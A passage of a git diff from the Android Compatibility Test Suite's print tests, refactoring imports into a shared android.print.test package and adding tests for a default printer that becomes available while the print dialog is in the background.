- PackageManager pm = getActivity().getPackageManager();
- Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
- int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
- return printSpoolerRes.getString(id);
- }
-
- /**
- * Get a string with one parameter from the print spooler's resources.
- *
- * @param resourceName The name of the string resource
- * @return The localized string
- *
- * @throws Exception If anything is unexpected
- */
- String getPrintSpoolerStringOneParam(String resourceName, Object p)
- throws Exception {
- PackageManager pm = getActivity().getPackageManager();
- Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
- int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
- return printSpoolerRes.getString(id, p);
- }
-
- /**
- * Get the default media size for the current locale.
- *
- * @return The default media size for the current locale
- *
- * @throws Exception If anything is unexpected
- */
- PrintAttributes.MediaSize getDefaultMediaSize() throws Exception {
- PackageManager pm = getActivity().getPackageManager();
- Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
- int defaultMediaSizeResId = printSpoolerRes.getIdentifier("mediasize_default", "string",
- PRINTSPOOLER_PACKAGE);
- String defaultMediaSizeName = printSpoolerRes.getString(defaultMediaSizeResId);
-
- switch (defaultMediaSizeName) {
- case "NA_LETTER":
- return PrintAttributes.MediaSize.NA_LETTER;
- case "JIS_B5":
- return PrintAttributes.MediaSize.JIS_B5;
- case "ISO_A4":
- return PrintAttributes.MediaSize.ISO_A4;
- default:
- throw new Exception("Unknown default media size " + defaultMediaSizeName);
- }
- }
-
- /**
- * Annotation used to signal that a test does not need an activity.
- */
- @Retention(RetentionPolicy.RUNTIME)
- @Target(ElementType.METHOD)
- @interface NoActivity { }
-
- /**
- * Rule that handles the {@link NoActivity} annotation.
- */
- private static class ShouldStartActivity implements TestRule {
- boolean noActivity;
-
- @Override
- public Statement apply(Statement base, org.junit.runner.Description description) {
- for (Annotation annotation : description.getAnnotations()) {
- if (annotation instanceof NoActivity) {
- noActivity = true;
- break;
- }
- }
-
- return base;
- }
- }
-}
diff --git a/tests/tests/print/src/android/print/cts/ClassParametersTest.java b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
index e0c41ea..a5e5d49 100644
--- a/tests/tests/print/src/android/print/cts/ClassParametersTest.java
+++ b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
@@ -16,17 +16,21 @@
package android.print.cts;
+import static android.print.test.Utils.assertException;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
import android.print.PrintAttributes;
import android.print.PrintAttributes.MediaSize;
import android.print.PrintAttributes.Resolution;
import android.print.PrintDocumentInfo;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
-
/**
* Test that the print attributes can be constructed correctly. This does not test that the
* attributes have the desired effect when send to the print framework.
diff --git a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
index eb9806e..3ea14f6 100644
--- a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
+++ b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
@@ -16,6 +16,8 @@
package android.print.cts;
+import static android.print.test.Utils.eventually;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -30,32 +32,29 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.CustomPrintOptionsActivity;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.CustomPrintOptionsActivity;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
import android.util.Log;
+
import org.junit.Before;
-import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.TimeoutException;
-import static android.print.cts.Utils.eventually;
-
/**
* This test verifies changes to the printer capabilities are applied correctly.
*/
diff --git a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
index 37eab57..da7e82d 100644
--- a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
+++ b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
@@ -16,6 +16,14 @@
package android.print.cts;
+import static android.print.test.Utils.eventually;
+import static android.print.test.Utils.getPrintJob;
+import static android.print.test.Utils.getPrintManager;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
import android.print.PrintAttributes;
import android.print.PrintDocumentAdapter;
import android.print.PrintJob;
@@ -23,23 +31,22 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.support.annotation.NonNull;
import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.ArrayList;
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
-
/**
* Test interface from the application to the print service.
*/
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
index f128bab..c4fd77e 100644
--- a/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustAndVerify.java
@@ -36,12 +36,13 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
import android.print.pdf.PrintedPdfDocument;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
import android.support.annotation.NonNull;
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
index 0364624..c1abafc 100644
--- a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
@@ -16,7 +16,8 @@
package android.print.cts;
-import static org.junit.Assert.*;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Matchers.any;
import static org.mockito.Mockito.inOrder;
import static org.mockito.Mockito.never;
@@ -35,15 +36,16 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
-
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
index e6bc164..7661ff9 100644
--- a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
@@ -16,6 +16,8 @@
package android.print.cts;
+import static org.junit.Assert.assertEquals;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -29,15 +31,16 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
-
import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -46,8 +49,6 @@
import java.util.Arrays;
import java.util.List;
-import static org.junit.Assert.*;
-
/**
* Test that the print attributes are correctly propagated through the print framework
*/
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java b/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java
deleted file mode 100644
index c3e6e96..0000000
--- a/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.WindowManager;
-
-public class PrintDocumentActivity extends Activity {
- private static final String LOG_TAG = "PrintDocumentActivity";
- int mTestId;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- mTestId = getIntent().getIntExtra(BasePrintTest.TEST_ID, -1);
- Log.d(LOG_TAG, "onCreate() " + this + " for " + mTestId);
-
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
- | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-
- KeyguardManager km = getSystemService(KeyguardManager.class);
- if (km != null) {
- km.requestDismissKeyguard(this, null);
- }
-
- BasePrintTest.onActivityCreateCalled(mTestId, this);
- }
-
- @Override
- protected void onDestroy() {
- Log.d(LOG_TAG, "onDestroy() " + this);
- BasePrintTest.onActivityDestroyCalled(mTestId);
- super.onDestroy();
- }
-}
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
index 38ba4dd..4851ba9 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
@@ -36,11 +36,12 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
import android.support.test.runner.AndroidJUnit4;
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
index a9d03c9..63e83e3 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
@@ -16,6 +16,11 @@
package android.print.cts;
+import static android.print.test.Utils.eventually;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -29,14 +34,16 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -45,16 +52,12 @@
import java.util.ArrayList;
import java.util.List;
-import static android.print.cts.Utils.eventually;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
/**
* This test verifies that the system respects the {@link PrintDocumentAdapter}
* contract and invokes all callbacks as expected.
*/
@RunWith(AndroidJUnit4.class)
-public class PrintDocumentInfoTest extends android.print.cts.BasePrintTest {
+public class PrintDocumentInfoTest extends BasePrintTest {
private static boolean sIsDefaultPrinterSet;
@Before
diff --git a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
index d5edcb6..75a7847 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
@@ -16,7 +16,7 @@
package android.print.cts;
-import static android.print.cts.Utils.eventually;
+import static android.print.test.Utils.eventually;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
@@ -30,11 +30,12 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.util.Log;
diff --git a/tests/tests/print/src/android/print/cts/PrintJobTest.java b/tests/tests/print/src/android/print/cts/PrintJobTest.java
index f3081fb..1fcfc17 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobTest.java
@@ -16,6 +16,14 @@
package android.print.cts;
+import static android.print.test.Utils.eventually;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
import android.print.PrintAttributes;
import android.print.PrintAttributes.Margins;
import android.print.PrintAttributes.MediaSize;
@@ -26,23 +34,22 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.CustomPrintOptionsActivity;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.CustomPrintOptionsActivity;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.ArrayList;
-import static android.print.cts.Utils.eventually;
-import static org.junit.Assert.*;
-
/**
* Tests all possible states of print jobs.
*/
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index 7be5fc1..b5a23e2 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -16,6 +16,16 @@
package android.print.cts;
+import static android.print.test.Utils.assertException;
+import static android.print.test.Utils.eventually;
+import static android.print.test.Utils.getPrintJob;
+import static android.print.test.Utils.runOnMainThread;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
import android.app.Activity;
import android.app.PendingIntent;
import android.content.ComponentName;
@@ -38,13 +48,14 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.InfoActivity;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.InfoActivity;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.CustomPrinterIconCallback;
import android.printservice.PrintJob;
import android.printservice.PrintService;
@@ -52,15 +63,13 @@
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiSelector;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.ArrayList;
import java.util.List;
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
-
/**
* Test the interface from a print service to the print manager
*/
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
index 9b277e9..251b371 100644
--- a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
@@ -16,6 +16,8 @@
package android.print.cts;
+import static android.print.test.Utils.runOnMainThread;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -29,14 +31,14 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.util.Log;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -47,8 +49,6 @@
import java.util.List;
import java.util.concurrent.TimeoutException;
-import static android.print.cts.Utils.runOnMainThread;
-
/**
* This test verifies changes to the printer capabilities are applied correctly.
*/
@@ -154,23 +154,6 @@
PrinterInfo.STATUS_UNAVAILABLE)));
}
- /**
- * Wait until the message is shown that indicates that a printer is unavilable.
- *
- * @throws Exception If anything was unexpected.
- */
- private void waitForPrinterUnavailable() throws Exception {
- final String PRINTER_UNAVAILABLE_MSG =
- getPrintSpoolerString("print_error_printer_unavailable");
-
- UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
- "com.android.printspooler:id/message"));
- if (!message.getText().equals(PRINTER_UNAVAILABLE_MSG)) {
- throw new Exception("Wrong message: " + message.getText() + " instead of " +
- PRINTER_UNAVAILABLE_MSG);
- }
- }
-
@Before
public void setUpPrinting() throws Exception {
// Create the mSession[0] callbacks that we will be checking.
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
index 3ea03af..3954948 100644
--- a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
@@ -16,6 +16,11 @@
package android.print.cts;
+import static android.print.test.Utils.assertException;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
import android.os.ParcelFileDescriptor;
import android.print.PageRange;
import android.print.PrintAttributes;
@@ -29,12 +34,14 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.support.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -42,9 +49,6 @@
import java.util.function.Consumer;
import java.util.function.Function;
-import static android.print.cts.Utils.assertException;
-import static org.junit.Assert.*;
-
/**
* This test verifies changes to the printer capabilities are applied correctly.
*/
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index 499d21e..a21ed18 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -16,8 +16,13 @@
package android.print.cts;
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
+import static android.print.test.Utils.eventually;
+import static android.print.test.Utils.runOnMainThread;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.inOrder;
import android.print.PrintAttributes;
@@ -28,15 +33,19 @@
import android.print.PrinterCapabilitiesInfo;
import android.print.PrinterId;
import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrinterDiscoverySession;
-
+import android.support.annotation.NonNull;
import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -53,10 +62,7 @@
*/
@RunWith(AndroidJUnit4.class)
public class PrinterDiscoverySessionLifecycleTest extends BasePrintTest {
- private static final String FIRST_PRINTER_NAME = "First printer";
- private static final String SECOND_PRINTER_NAME = "Second printer";
-
- private static final String FIRST_PRINTER_LOCAL_ID= "first_printer";
+ private static final String FIRST_PRINTER_LOCAL_ID = "first_printer";
private static final String SECOND_PRINTER_LOCAL_ID = "second_printer";
private static StubbablePrinterDiscoverySession sSession;
@@ -66,6 +72,172 @@
clearPrintSpoolerData();
}
+ /**
+ * Add a printer to {@#sSession}.
+ *
+ * @param localId The id of the printer to add
+ * @param hasCapabilities If the printer has capabilities
+ */
+ private void addPrinter(@NonNull String localId, boolean hasCapabilities) {
+ // Add the first printer.
+ PrinterId firstPrinterId = sSession.getService().generatePrinterId(
+ localId);
+
+ PrinterInfo.Builder printer = new PrinterInfo.Builder(firstPrinterId,
+ localId, PrinterInfo.STATUS_IDLE);
+
+ if (hasCapabilities) {
+ printer.setCapabilities(new PrinterCapabilitiesInfo.Builder(firstPrinterId)
+ .setMinMargins(new Margins(200, 200, 200, 200))
+ .addMediaSize(MediaSize.ISO_A0, true)
+ .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
+ .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+ PrintAttributes.COLOR_MODE_COLOR)
+ .build());
+ }
+
+ sSession.addPrinters(Collections.singletonList(printer.build()));
+ }
+
+ /**
+ * Make {@code localPrinterId} the default printer. This requires a full print workflow.
+ *
+ * As a side-effect also approved the print service.
+ *
+ * @param localPrinterId The printer to make default
+ */
+ private void makeDefaultPrinter(String localPrinterId) throws Throwable {
+ PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+ print(adapter);
+ waitForWriteAdapterCallback(1);
+
+ runOnMainThread(() -> addPrinter(localPrinterId, true));
+ selectPrinter(localPrinterId);
+ waitForWriteAdapterCallback(2);
+
+ clickPrintButton();
+ answerPrintServicesWarning(true);
+
+ waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+ resetCounters();
+ }
+
+ /**
+ * Select a printer in the all printers activity
+ *
+ * @param printerName The name of the printer to select
+ */
+ private void selectInAllPrintersActivity(@NonNull String printerName) throws Exception {
+ while (true) {
+ UiObject printerItem = getUiDevice().findObject(
+ new UiSelector().text(printerName));
+
+ if (printerItem.isEnabled()) {
+ printerItem.click();
+ break;
+ } else {
+ Thread.sleep(100);
+ }
+ }
+ }
+
+ @Test
+ public void defaultPrinterBecomesAvailableWhileInBackground() throws Throwable {
+ // Create the session callbacks that we will be checking.
+ final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
+ createMockPrinterDiscoverySessionCallbacks(invocation -> {
+ sSession =
+ ((PrinterDiscoverySessionCallbacks) invocation.getMock()).getSession();
+
+ onPrinterDiscoverySessionCreateCalled();
+ return null;
+ }, null, null, null, null, null, invocation -> {
+ onPrinterDiscoverySessionDestroyCalled();
+ return null;
+ });
+
+ // Create the service callbacks for the first print service.
+ PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+ invocation -> firstSessionCallbacks, null, null);
+
+ // Configure the print services.
+ FirstPrintService.setCallbacks(firstServiceCallbacks);
+ SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+ makeDefaultPrinter(FIRST_PRINTER_LOCAL_ID);
+
+ PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+ print(adapter);
+ waitForPrinterDiscoverySessionCreateCallbackCalled();
+
+ waitForPrinterUnavailable();
+
+ selectPrinter("All printers…");
+ // Let all printers activity start
+ Thread.sleep(500);
+
+ // Add printer
+ runOnMainThread(() -> addPrinter(FIRST_PRINTER_LOCAL_ID, true));
+
+ // Select printer once available (this returns to main print activity)
+ selectInAllPrintersActivity(FIRST_PRINTER_LOCAL_ID);
+
+ // Wait for preview to load and finish print
+ waitForWriteAdapterCallback(1);
+ clickPrintButton();
+ waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+ }
+
+ @Test
+ public void defaultPrinterBecomesUsableWhileInBackground() throws Throwable {
+ // Create the session callbacks that we will be checking.
+ final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
+ createMockPrinterDiscoverySessionCallbacks(invocation -> {
+ sSession =
